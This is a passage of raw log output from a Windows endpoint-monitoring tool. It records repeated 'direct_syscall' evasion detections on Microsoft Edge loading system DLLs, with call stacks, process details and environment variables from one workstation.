C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9f977e C:\Windows\System32\ntdll.dll!RtlAnsiStringToUnicodeString|0x7ffcde9f794e C:\Windows\System32\ntdll.dll!RtlUTF8ToUnicodeN|0x7ffcde9e4f98 C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e49f1 C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9f977e C:\Windows\System32\ntdll.dll!RtlAnsiStringToUnicodeString|0x7ffcde9f794e C:\Windows\System32\ntdll.dll!RtlUTF8ToUnicodeN|0x7ffcde9e4f98 C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e49f1 C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9fad95 C:\Windows\System32\ntdll.dll!RtlDeactivateActivationContextUnsafeFast|0x7ffcde9f6382 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdbc16c94 C:\Windows\System32\KernelBase.dll!LoadLibraryExA|0x7ff7cf7fc785 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ff7cf81bb84 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ff7cf9e71c4 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!GetPakFileHashes|0x7ff7cf8573b1 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ff7cf8572c1 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ff7cf857283 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffc901ed2d9 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc8ceb457d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae1d4 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:19+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4173107 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.3672616 +0100 CET + Params: base_address➜ 7ffcdc4a0000, checksum➜ 700029, default_address➜ 7ffcdc4a0000, file_path➜ C:\Windows\System32\msvcp_win.dll, image_size➜ 667648, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ WINDOWS, signature_type➜ FILE_VERIFIED + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Parent name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Parent cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e49f1 C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9f977e C:\Windows\System32\ntdll.dll!RtlAnsiStringToUnicodeString|0x7ffcde9f794e C:\Windows\System32\ntdll.dll!RtlUTF8ToUnicodeN|0x7ffcde9e4f98 C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e49f1 C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9f977e C:\Windows\System32\ntdll.dll!RtlAnsiStringToUnicodeString|0x7ffcde9f794e C:\Windows\System32\ntdll.dll!RtlUTF8ToUnicodeN|0x7ffcde9e4f98 C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e49f1 C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9f977e C:\Windows\System32\ntdll.dll!RtlAnsiStringToUnicodeString|0x7ffcde9f794e C:\Windows\System32\ntdll.dll!RtlUTF8ToUnicodeN|0x7ffcde9e4f98 C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e49f1 C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9fad95 C:\Windows\System32\ntdll.dll!RtlDeactivateActivationContextUnsafeFast|0x7ffcde9f6382 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdbc16c94 C:\Windows\System32\KernelBase.dll!LoadLibraryExA|0x7ff7cf7fc785 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ff7cf81bb84 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ff7cf9e71c4 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!GetPakFileHashes|0x7ff7cf8573b1 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ff7cf8572c1 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ff7cf857283 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffc901ed2d9 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc8ceb457d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae1d4 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:19+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4173178 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.3706243 +0100 CET + Params: base_address➜ 7ffcddb40000, checksum➜ 233556, default_address➜ 7ffcddb40000, file_path➜ C:\Windows\System32\imm32.dll, image_size➜ 200704, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ WINDOWS, signature_type➜ FILE_VERIFIED + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Parent name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Parent cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e49f1 C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9fad95 C:\Windows\System32\ntdll.dll!RtlDeactivateActivationContextUnsafeFast|0x7ffcde9f6382 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdd1551dc C:\Windows\System32\user32.dll!User32InitializeImmEntryTable|0x7ffcdd18dce2 C:\Windows\System32\user32.dll!ExitWindowsEx|0x7ffcdeb3f96e C:\Windows\System32\ntdll.dll!RtlEncodeRemotePointer|0x7ffcde9ebcae C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7ffcde9e97ac C:\Windows\System32\ntdll.dll!RtlDeleteElementGenericTableAvlEx|0x7ffcdea776ea C:\Windows\System32\ntdll.dll!LdrGetProcedureAddressForCaller|0x7ffcdea76203 C:\Windows\System32\ntdll.dll!LdrGetProcedureAddress|0x7ffcde9f6414 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdbc16c94 C:\Windows\System32\KernelBase.dll!LoadLibraryExA|0x7ff7cf7fc785 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ff7cf81bb84 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ff7cf9e71c4 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!GetPakFileHashes|0x7ff7cf8573b1 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ff7cf8572c1 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ff7cf857283 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffc901ed2d9 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc8ceb457d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae1d4 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:19+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4173275 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.3744601 +0100 CET + Params: base_address➜ 7ffcd5080000, checksum➜ 60600, default_address➜ 7ffcd5080000, file_path➜ C:\Windows\System32\KBDSP.DLL, image_size➜ 24576, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Parent name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Parent cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program 